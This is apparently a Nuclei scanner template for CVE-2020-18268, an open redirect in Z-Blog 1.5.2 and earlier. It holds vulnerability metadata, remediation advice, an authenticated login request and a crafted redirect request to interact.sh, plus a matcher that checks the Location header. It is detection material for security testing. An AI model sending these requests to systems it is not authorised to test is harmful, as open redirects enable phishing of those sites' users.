50 lines
2.1 KiB
YAML
50 lines
2.1 KiB
YAML
id: CVE-2020-18268
|
|
|
|
info:
|
|
name: Z-Blog <=1.5.2 - Open Redirect
|
|
author: 0x_Akoko
|
|
severity: medium
|
|
description: Z-Blog 1.5.2 and earlier contains an open redirect vulnerability via the redirect parameter in zb_system/cmd.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
|
|
impact: |
|
|
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the execution of further attacks.
|
|
remediation: |
|
|
Upgrade Z-Blog to version 1.5.3 or later to fix the open redirect vulnerability.
|
|
reference:
|
|
- https://github.com/zblogcn/zblogphp/issues/216
|
|
- https://github.com/zblogcn/zblogphp/issues/209
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-18268
|
|
- https://github.com/ARPSyndicate/kenzer-templates
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2020-18268
|
|
cwe-id: CWE-601
|
|
epss-score: 0.00147
|
|
epss-percentile: 0.50674
|
|
cpe: cpe:2.3:a:zblogcn:z-blogphp:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: zblogcn
|
|
product: z-blogphp
|
|
tags: cve,cve2020,redirect,zblogphp,authenticated,zblogcn
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /zb_system/cmd.php?act=verify HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Length: 81
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Connection: close
|
|
|
|
btnPost=Log+In&username={{username}}&password={{md5("{{password}}")}}&savedate=0
|
|
- |
|
|
GET /zb_system/cmd.php?atc=login&redirect=http://www.interact.sh HTTP/2
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: regex
|
|
part: header
|
|
regex:
|
|
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
|
|
# digest: 490a0046304402203c3cf5580aa4db762ce68e2d12fc511beee50a7a1ff3a9a6c60d6a1082ae0f1102202fe9e217585a223c676c328ded6295a13fad15288bb824182301e27ecd2c0bb5:922c64590222798bb761d5b6d8e72950 |